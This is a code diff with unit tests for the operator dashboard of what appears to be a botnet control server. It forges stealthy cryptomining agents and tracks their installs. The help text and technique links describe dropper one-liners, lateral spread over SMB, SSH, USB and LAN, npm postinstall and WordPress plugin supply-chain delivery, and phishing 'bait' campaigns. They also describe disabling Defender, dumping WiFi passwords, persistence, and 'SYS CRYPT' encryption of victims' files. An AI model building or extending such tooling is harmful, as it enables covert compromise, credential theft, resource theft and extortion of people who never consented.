tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||
dashboard_url: 'https://nothing.thetempleofdoom.com',
|
||||
websocket_url: 'wss://nothing.thetempleofdoom.com/ws/agent',
|
||||
cloudflared_configured: true,
|
||||
};
|
||||
expect(lanEndpointCandidates(info)).toEqual([
|
||||
'http://192.168.1.10:8989',
|
||||
'https://nothing.thetempleofdoom.com',
|
||||
]);
|
||||
});
|
||||
|
||||
it('honours port override', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
|
||||
@@ -18,11 +18,17 @@ export function lanEndpointCandidates(info: ServerInfo, portOverride?: number):
|
||||
out.push(u);
|
||||
};
|
||||
|
||||
if (info.suggested_url?.trim()) {
|
||||
push(info.suggested_url.trim());
|
||||
if (info.lan_url?.trim()) {
|
||||
push(info.lan_url.trim());
|
||||
}
|
||||
for (const ip of info.local_ips ?? []) {
|
||||
push(formatLanEndpoint(ip, port));
|
||||
}
|
||||
if (info.suggested_url?.trim()) {
|
||||
push(info.suggested_url.trim());
|
||||
}
|
||||
if (info.tunnel_url?.trim()) {
|
||||
push(info.tunnel_url.trim());
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
@@ -70,7 +70,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
|
||||
@@ -53,11 +53,11 @@ describe('forgeMission helpers', () => {
|
||||
it('tracks mission step status including skipped export', () => {
|
||||
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
||||
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
||||
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
|
||||
expect(missionStepStatus('copy', 'done', false)).toBe('done');
|
||||
expect(missionStepStatus('export', 'done', true)).toBe('skipped');
|
||||
expect(missionStepStatus('export', 'export', false)).toBe('active');
|
||||
});
|
||||
|
||||
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
|
||||
it('runForgeMission configures, builds, and exports spread kit', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
||||
const api: MissionApi = { buildAgent, exportSpreadKit };
|
||||
@@ -74,7 +74,7 @@ describe('forgeMission helpers', () => {
|
||||
cancelToken: 'tok-1',
|
||||
});
|
||||
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'done']);
|
||||
expect(buildAgent).toHaveBeenCalledOnce();
|
||||
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
||||
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
||||
@@ -84,7 +84,7 @@ describe('forgeMission helpers', () => {
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
expect(result.exportSkipped).toBe(false);
|
||||
expect(result.links.ps1).toContain('build-abc-123');
|
||||
expect(result.build.build_id).toBe('build-abc-123');
|
||||
});
|
||||
|
||||
it('skips export when spread_kit is false after presets', async () => {
|
||||
@@ -103,7 +103,7 @@ describe('forgeMission helpers', () => {
|
||||
});
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
|
||||
expect(steps).toEqual(['configure', 'forge', 'done']);
|
||||
expect(result.exportSkipped).toBe(true);
|
||||
});
|
||||
|
||||
|
||||
@@ -9,14 +9,13 @@ import {
|
||||
shOneliner,
|
||||
} from './emberwake';
|
||||
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
|
||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||
|
||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||
configure: 'Configure',
|
||||
forge: 'Forge',
|
||||
export: 'Export',
|
||||
copy: 'Copy',
|
||||
configure: 'Apply loadout presets',
|
||||
forge: 'Build agent installer',
|
||||
export: 'Package spread-kit ZIP',
|
||||
};
|
||||
|
||||
export interface MissionLinks {
|
||||
@@ -28,7 +27,6 @@ export interface MissionLinks {
|
||||
|
||||
export interface MissionResult {
|
||||
build: BuildResponse;
|
||||
links: MissionLinks;
|
||||
exportSkipped: boolean;
|
||||
}
|
||||
|
||||
@@ -147,9 +145,6 @@ export async function runForgeMission(opts: {
|
||||
});
|
||||
}
|
||||
|
||||
onStep?.('copy');
|
||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
||||
|
||||
onStep?.('done');
|
||||
return { build, links, exportSkipped };
|
||||
return { build, exportSkipped };
|
||||
}
|
||||
|
||||
@@ -137,7 +137,7 @@ export function forgeDefaultsFromServerSmart(
|
||||
const base: BuildRequest = {
|
||||
...recommendedForgePreset(),
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
|
||||
@@ -39,7 +39,10 @@ export function joinRemotePath(cwd: string, name: string): string {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
||||
parts.pop();
|
||||
if (parts.length === 0) {
|
||||
return sep === '/' ? '/' : 'C:\\';
|
||||
if (sep === '/') return '/';
|
||||
// Preserve the original drive letter instead of hardcoding C:
|
||||
const driveMatch = cwd.match(/^([A-Za-z]):/);
|
||||
return driveMatch ? `${driveMatch[1].toUpperCase()}:\\` : 'C:\\';
|
||||
}
|
||||
const joined = parts.join(sep);
|
||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { getSetupStatus } from './setupStatus';
|
||||
import { mockServerConfig } from '../test/fixtures';
|
||||
import { effectivePublicUrl, getSetupStatus } from './setupStatus';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('getSetupStatus', () => {
|
||||
it('flags empty wallet and blank public URL', () => {
|
||||
@@ -23,4 +23,53 @@ describe('getSetupStatus', () => {
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
});
|
||||
|
||||
it('passes when public_url is blank but server reports detected LAN', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({ server: { public_url: '' } }),
|
||||
{
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
suggested_url: 'http://192.168.1.5:8989',
|
||||
}
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
expect(status.reasons).not.toContain(
|
||||
'Public URL is blank or localhost — set your LAN address in Calibrate'
|
||||
);
|
||||
});
|
||||
|
||||
it('passes when public_url is blank but HTTPS tunnel endpoint is detected', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({ server: { public_url: '' } }),
|
||||
{
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||
cloudflared_configured: true,
|
||||
}
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('effectivePublicUrl', () => {
|
||||
it('prefers saved public_url over detected endpoints', () => {
|
||||
expect(
|
||||
effectivePublicUrl(
|
||||
mockServerConfig({ server: { public_url: 'http://10.0.0.2:8989' } }),
|
||||
mockServerInfo
|
||||
)
|
||||
).toBe('http://10.0.0.2:8989');
|
||||
});
|
||||
|
||||
it('falls back to lan_url when public_url is blank', () => {
|
||||
expect(
|
||||
effectivePublicUrl(mockServerConfig({ server: { public_url: '' } }), {
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
})
|
||||
).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { ServerConfig } from '../types';
|
||||
import type { ServerConfig, ServerInfo } from '../types';
|
||||
import { formatLanEndpoint } from './endpointHelpers';
|
||||
import { looksLikeXMRWallet } from './forgeValidation';
|
||||
|
||||
export interface SetupStatus {
|
||||
@@ -17,8 +18,39 @@ function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
/** Best URL workers can use — saved public_url, detected LAN, or HTTPS tunnel. */
|
||||
export function effectivePublicUrl(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): string {
|
||||
if (!config) return '';
|
||||
|
||||
const saved = config.server?.public_url?.trim();
|
||||
if (saved && !isBlankOrLocalPublicUrl(saved)) return saved;
|
||||
|
||||
const lan = serverInfo?.lan_url?.trim();
|
||||
if (lan && !isBlankOrLocalPublicUrl(lan)) return lan;
|
||||
|
||||
const port = serverInfo?.port ?? config.port ?? 8989;
|
||||
for (const ip of serverInfo?.local_ips ?? []) {
|
||||
const candidate = formatLanEndpoint(ip, port);
|
||||
if (!isBlankOrLocalPublicUrl(candidate)) return candidate;
|
||||
}
|
||||
|
||||
const tunnel = serverInfo?.tunnel_url?.trim();
|
||||
if (tunnel && !isBlankOrLocalPublicUrl(tunnel)) return tunnel;
|
||||
|
||||
const suggested = serverInfo?.suggested_url?.trim();
|
||||
if (suggested && !isBlankOrLocalPublicUrl(suggested)) return suggested;
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/** True when wallet or LAN public URL still need Calibrate before forging. */
|
||||
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
|
||||
export function getSetupStatus(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): SetupStatus {
|
||||
if (!config) {
|
||||
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
|
||||
}
|
||||
@@ -29,12 +61,15 @@ export function getSetupStatus(config: ServerConfig | null | undefined): SetupSt
|
||||
} else if (!looksLikeXMRWallet(wallet)) {
|
||||
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
|
||||
}
|
||||
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
|
||||
if (isBlankOrLocalPublicUrl(effectivePublicUrl(config, serverInfo))) {
|
||||
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
|
||||
}
|
||||
return { needsCalibration: reasons.length > 0, reasons };
|
||||
}
|
||||
|
||||
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
|
||||
return !getSetupStatus(config).needsCalibration;
|
||||
export function isSetupComplete(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): boolean {
|
||||
return !getSetupStatus(config, serverInfo).needsCalibration;
|
||||
}
|
||||
|
||||
@@ -6,24 +6,18 @@ import {
|
||||
} from './spreadTechniques';
|
||||
|
||||
describe('spreadTechniques', () => {
|
||||
it('builds doc URLs with optional anchors', () => {
|
||||
it('builds doc URLs with optional tab anchors', () => {
|
||||
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
||||
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
|
||||
expect(spreadTechniqueDocUrl('web-waterhole')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.html#web-waterhole',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('wordpress-hosting-checklist')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.html#wordpress-hosting-checklist',
|
||||
);
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook sections', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
|
||||
});
|
||||
|
||||
it('links wiki-only techniques to /docs/', () => {
|
||||
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
|
||||
'/docs/#wordpress-plugin-supply-chain',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
|
||||
'/docs/#npm-postinstall-helper',
|
||||
);
|
||||
it('maps Emberwake bullets to playbook tabs', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,61 +1,66 @@
|
||||
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
|
||||
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
||||
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
||||
|
||||
export interface EmberwakeTechniqueLink {
|
||||
/** Short label shown in Emberwake UI */
|
||||
/** Short label — rendered as hyperlink text in Emberwake */
|
||||
label: string;
|
||||
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
|
||||
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
|
||||
anchor: string;
|
||||
/** One-line operator hint */
|
||||
/** One-line operator hint (no tutorial copy) */
|
||||
hint: string;
|
||||
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
|
||||
wiki?: boolean;
|
||||
}
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook sections. */
|
||||
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
|
||||
anchor: 'web-waterhole',
|
||||
hint: 'Owned-origin dropper or spread-kit lander',
|
||||
},
|
||||
{
|
||||
label: 'curl | bash VPS',
|
||||
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
|
||||
hint: 'install.sh / install.ps1 one-liners on headless servers',
|
||||
anchor: 'curl-bash',
|
||||
hint: 'Headless install.sh / install.ps1 one-liners',
|
||||
},
|
||||
{
|
||||
label: 'Campaign & War Room',
|
||||
anchor: 'campaign-war-room',
|
||||
hint: '?c= tags, A/B pins, funnel analytics',
|
||||
},
|
||||
{
|
||||
label: 'Fusion media',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
|
||||
anchor: 'fusion-media',
|
||||
hint: 'Codec/tool ZIP — Desktop Fusion preset',
|
||||
},
|
||||
{
|
||||
label: 'USB propagation',
|
||||
anchor: 'usb',
|
||||
hint: 'Forge-time USB flag — not Emberwake export',
|
||||
},
|
||||
{
|
||||
label: 'LAN kindling',
|
||||
anchor: 'five-recommended-plays--sites-you-own',
|
||||
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
|
||||
},
|
||||
{
|
||||
label: 'A/B droppers',
|
||||
anchor: 'social-engineering-funnel-email--ads--site--file',
|
||||
hint: 'Campaign ?c= tags + pin build A vs B between waves',
|
||||
anchor: 'lan',
|
||||
hint: 'Universal spread kit + autospread preset',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress-plugin-supply-chain',
|
||||
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
|
||||
wiki: true,
|
||||
anchor: 'wordpress',
|
||||
hint: 'Owned-site plugin ZIP — supply-chain wizard',
|
||||
},
|
||||
{
|
||||
label: 'npm postinstall',
|
||||
anchor: 'npm-postinstall-helper',
|
||||
hint: 'Private package template — postinstall curls your install.sh',
|
||||
wiki: true,
|
||||
anchor: 'npm-helper',
|
||||
hint: 'Private registry template — your packages only',
|
||||
},
|
||||
{
|
||||
label: 'Social funnel',
|
||||
anchor: 'social-funnel',
|
||||
hint: 'Email → lander → pinned build chains',
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
|
||||
if (wiki && anchor) return `/docs/#${anchor}`;
|
||||
export function spreadTechniqueDocUrl(anchor?: string): string {
|
||||
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
||||
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
||||
}
|
||||
|
||||
@@ -63,13 +63,13 @@ export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign
|
||||
|
||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||
return family === 'wordpress'
|
||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
||||
? spreadTechniqueDocUrl('wordpress')
|
||||
: spreadTechniqueDocUrl('npm-helper');
|
||||
}
|
||||
|
||||
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
return spreadTechniqueDocUrl(anchor);
|
||||
}
|
||||
|
||||
export interface HostingChecklistItem {
|
||||
|
||||
96
server/web/src/help/uiHelp.test.ts
Normal file
96
server/web/src/help/uiHelp.test.ts
Normal file
@@ -0,0 +1,96 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { UI_HELP } from './uiHelp';
|
||||
|
||||
describe('UI_HELP', () => {
|
||||
const requiredKeys = [
|
||||
'dash_fleet_health',
|
||||
'dash_install_funnel',
|
||||
'dash_operator_audit',
|
||||
'dash_signal_locked',
|
||||
'dash_advanced_mode',
|
||||
'dash_raw_stream',
|
||||
'dash_fleet_hash',
|
||||
'dash_est_daily',
|
||||
'dash_accept_rate',
|
||||
'dash_nodes_live',
|
||||
'dash_fleet_pipeline',
|
||||
'dash_pool_stratum',
|
||||
'dash_ai_activity',
|
||||
'dash_gpu_rvn',
|
||||
'dash_xmr_section',
|
||||
'crucible_node_roster',
|
||||
'crucible_heat_map',
|
||||
'crucible_groups',
|
||||
'crucible_active_target',
|
||||
'crucible_tab_ops',
|
||||
'crucible_tab_recon',
|
||||
'crucible_tab_files',
|
||||
'crucible_tab_spread',
|
||||
'crucible_tab_tunnels',
|
||||
'crucible_mining_ops',
|
||||
'crucible_resume',
|
||||
'crucible_pause',
|
||||
'crucible_full_audit',
|
||||
'crucible_posture_badge',
|
||||
'crucible_master_terminal',
|
||||
'crucible_section_agent',
|
||||
'crucible_section_system',
|
||||
'crucible_section_persistence',
|
||||
'crucible_section_maintenance',
|
||||
'crucible_section_intel',
|
||||
'crucible_section_security',
|
||||
'crucible_section_network',
|
||||
'crucible_section_media',
|
||||
'crucible_section_files_quick',
|
||||
'crucible_section_files_advanced',
|
||||
'crucible_section_destructive',
|
||||
'crucible_section_spread',
|
||||
'crucible_section_seek',
|
||||
'crucible_section_ssh',
|
||||
'crucible_section_tunnels',
|
||||
'crucible_section_protocol_tunnel',
|
||||
'crucible_section_portfwd',
|
||||
'bm_pin_dropper',
|
||||
'bm_public_build',
|
||||
'bm_dropper_oneliner',
|
||||
'bm_reforge',
|
||||
'bm_platform_badge',
|
||||
'fm_remote_browse',
|
||||
'fm_upload',
|
||||
'fm_encrypt_path',
|
||||
'pt_path_tracer',
|
||||
'pt_agent_chain',
|
||||
'fleet_runtime_policy',
|
||||
'fleet_runtime_modules',
|
||||
'spread_funnel_widget',
|
||||
'md_overview',
|
||||
'md_operation_chip',
|
||||
'md_spread_profile',
|
||||
'md_campaign_identity',
|
||||
'md_strike_pipeline',
|
||||
'md_equip_strike',
|
||||
'ew_overview',
|
||||
'ew_campaign_setup',
|
||||
'ew_campaign_slug',
|
||||
'ew_install_links',
|
||||
'ew_spread_kit',
|
||||
'ew_war_room',
|
||||
'ew_supply_chain',
|
||||
'ew_public_urls',
|
||||
'ew_techniques',
|
||||
'ew_shared_notes',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
expect(Object.keys(UI_HELP).sort()).toEqual([...requiredKeys].sort());
|
||||
});
|
||||
|
||||
it('each entry is a complete non-empty blurb', () => {
|
||||
for (const key of requiredKeys) {
|
||||
const text = UI_HELP[key];
|
||||
expect(typeof text).toBe('string');
|
||||
expect(text.trim().length).toBeGreaterThan(20);
|
||||
expect(text).not.toMatch(/coming soon|TODO|TBD/i);
|
||||
}
|
||||
});
|
||||
});
|
||||
163
server/web/src/help/uiHelp.ts
Normal file
163
server/web/src/help/uiHelp.ts
Normal file
@@ -0,0 +1,163 @@
|
||||
/** Inline help for dashboard, crucible, fleet, build manager, and other operator UI — not forge/calibrate form fields. */
|
||||
export const UI_HELP: Record<string, string> = {
|
||||
dash_fleet_health:
|
||||
'Composite score from online ratio, accept rate, and hashrate activity. Green means the fleet is mining normally; amber or red flags nodes to check on Crucible.',
|
||||
dash_install_funnel:
|
||||
'Shows how many agents connected in the last 7 days, grouped by forged build. USB column counts agents that arrived via USB spread.',
|
||||
dash_operator_audit:
|
||||
'Server-side log of operator actions (logins, forge, remote commands). Last 50 entries; refreshes every minute.',
|
||||
dash_signal_locked:
|
||||
'Live WebSocket link to the control server. When reconnecting, fleet stats may be stale until the signal locks again.',
|
||||
dash_advanced_mode:
|
||||
'Overview hides extra charts, topology, pool status, and the raw matrix stream. Advanced shows the full telemetry deck.',
|
||||
dash_raw_stream:
|
||||
'Full-screen scrolling dump of live WebSocket traffic — useful for debugging agent messages, not day-to-day monitoring.',
|
||||
dash_fleet_hash:
|
||||
'Sum of 15-minute average hashrate across all online Monero (RandomX) miners in the fleet.',
|
||||
dash_est_daily:
|
||||
'Rough USD/day from live fleet hashrate and the cached XMR price. Connect a wallet on Calibrate for pool-reported earnings instead.',
|
||||
dash_accept_rate:
|
||||
'Percentage of submitted shares accepted by the pool. Below ~95% often means bad pool connectivity or misconfigured workers.',
|
||||
dash_nodes_live:
|
||||
'Online agents with an active WebSocket heartbeat versus total registered agents (including offline).',
|
||||
dash_fleet_pipeline:
|
||||
'Setup checklist: forged build exists → agent deployed → node online → hashrate flowing → shares reaching the pool.',
|
||||
dash_pool_stratum:
|
||||
'Upstream pool connections from this control server. LIVE = stratum connected; DEGRADED or DOWN means payout risk.',
|
||||
dash_ai_activity:
|
||||
'Agents with AI Autonomy enabled ask Ollama on this PC for self-healing decisions. Empty until a forged miner reports in.',
|
||||
dash_gpu_rvn:
|
||||
'Ravencoin KawPoW GPU miners detected on online agents. Separate from Monero CPU hashrate above.',
|
||||
dash_xmr_section:
|
||||
'Monero RandomX CPU mining stats for the fleet. GPU Ravencoin rigs appear in the RVN section below when active.',
|
||||
|
||||
crucible_node_roster:
|
||||
'Every registered agent. Click to select; badges show SSH reachability, security posture, patches, and resource pressure.',
|
||||
crucible_heat_map:
|
||||
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
|
||||
crucible_groups:
|
||||
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_tab_ops:
|
||||
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||
crucible_tab_recon:
|
||||
'Intelligence gathering: posture scans, full system audit, screenshots, camera list, and network discovery.',
|
||||
crucible_tab_files:
|
||||
'Browse, upload, download, and encrypt files on the selected online agent via the remote file browser.',
|
||||
crucible_tab_spread:
|
||||
'Lateral movement and propagation: spread-now, SMB shares, credential vault, and secure wipe.',
|
||||
crucible_tab_tunnels:
|
||||
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
|
||||
crucible_mining_ops:
|
||||
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
|
||||
crucible_resume:
|
||||
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
|
||||
crucible_pause:
|
||||
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
|
||||
crucible_full_audit:
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
|
||||
crucible_master_terminal:
|
||||
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
|
||||
crucible_section_agent:
|
||||
'Restart, fetch logs, kill, or fully uninstall the agent process on selected nodes.',
|
||||
crucible_section_system:
|
||||
'OS-level power actions — reboot or shutdown the whole machine, not just the miner.',
|
||||
crucible_section_persistence:
|
||||
'BITS jobs, host-binary hijack, and read-only persistence audits for surviving reboots.',
|
||||
crucible_section_maintenance:
|
||||
'Fleet upgrades, wake-on-LAN, registry read/write, and remote process kill by PID.',
|
||||
crucible_section_intel:
|
||||
'One-click intel pulls: screenshot, processes, netstat, clipboard, WiFi creds, and more.',
|
||||
crucible_section_security:
|
||||
'Post-exploit posture changes — disable Defender or dump saved WiFi passwords.',
|
||||
crucible_section_network:
|
||||
'Connectivity probes, listener tables, patch status, ARP neighbors, and firewall controls.',
|
||||
crucible_section_media:
|
||||
'Live desktop polling, camera enumeration, and per-device webcam snapshots.',
|
||||
crucible_section_files_quick:
|
||||
'Push files to Desktop or a custom path, or pull a remote file into the terminal.',
|
||||
crucible_section_files_advanced:
|
||||
'Delete, move, or secure-wipe paths on selected agents — confirm before destructive ops.',
|
||||
crucible_section_destructive:
|
||||
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
|
||||
crucible_section_spread:
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
|
||||
crucible_section_seek:
|
||||
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
|
||||
crucible_section_ssh:
|
||||
'Probe or wake OpenSSH on Windows nodes, plus a quick reference for direct and tunneled SSH.',
|
||||
crucible_section_tunnels:
|
||||
'WAN IP, UPnP hole punch, Cloudflare outbound tunnels, mesh peers, and tunnel stop.',
|
||||
crucible_section_protocol_tunnel:
|
||||
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||
crucible_section_portfwd:
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
bm_public_build:
|
||||
'Public builds appear on the login page download list without signing in — useful for LAN handoffs.',
|
||||
bm_dropper_oneliner:
|
||||
'One-liner scripts download and silently install the pinned build (or latest if none pinned) from this server.',
|
||||
bm_reforge:
|
||||
'Open Forge with this build\'s settings pre-filled so you can tweak and compile a new revision.',
|
||||
bm_platform_badge:
|
||||
'Target OS baked into the installer: Windows, Linux, macOS, or Universal (multi-OS ZIP).',
|
||||
|
||||
fm_remote_browse:
|
||||
'Live directory listing on the selected agent. Double-click folders to navigate; select files to download or preview text.',
|
||||
fm_upload:
|
||||
'Push a file from your browser to the agent. Set destination path or defaults to current folder + filename.',
|
||||
fm_encrypt_path:
|
||||
'AES-256-GCM encrypt every file at the current path. Irreversible without the key — requires Remote Aggressive Ops.',
|
||||
|
||||
pt_path_tracer:
|
||||
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
|
||||
pt_agent_chain:
|
||||
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
|
||||
|
||||
fleet_runtime_policy:
|
||||
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
|
||||
fleet_runtime_modules:
|
||||
'Hot-load optional agent modules (e.g. crucible ops pack) onto connected workers.',
|
||||
|
||||
spread_funnel_widget:
|
||||
'Campaign install funnel: page hits → downloads → first beacon → mining, per ?c= slug. See Emberwake for full war room.',
|
||||
|
||||
md_overview:
|
||||
'Fast path to a forged agent: pick Ghost, Loud, or Spread, optionally layer a spread profile, then one click builds and exports a kit when needed. Copy install commands from Builds; track campaigns in Emberwake; use Forge when you need every option.',
|
||||
md_operation_chip:
|
||||
'Ghost = stealth worker for quiet LAN installs. Loud = visible logs for lab testing. Spread = universal kit with USB/LAN autospread — pair with a spread profile on the right.',
|
||||
md_spread_profile:
|
||||
'Optional deliverable shape on top of your operation chip — e.g. LAN Kindling adds SMB/SSH spread flags, Desktop Fusion enables media fusion packaging.',
|
||||
md_campaign_identity:
|
||||
'Campaign slug tags every link with ?c= so Emberwake can group hits and beacons. Worker name, control URL, and wallet are the only identity fields you need here.',
|
||||
md_strike_pipeline:
|
||||
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
|
||||
md_equip_strike:
|
||||
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
|
||||
|
||||
ew_overview:
|
||||
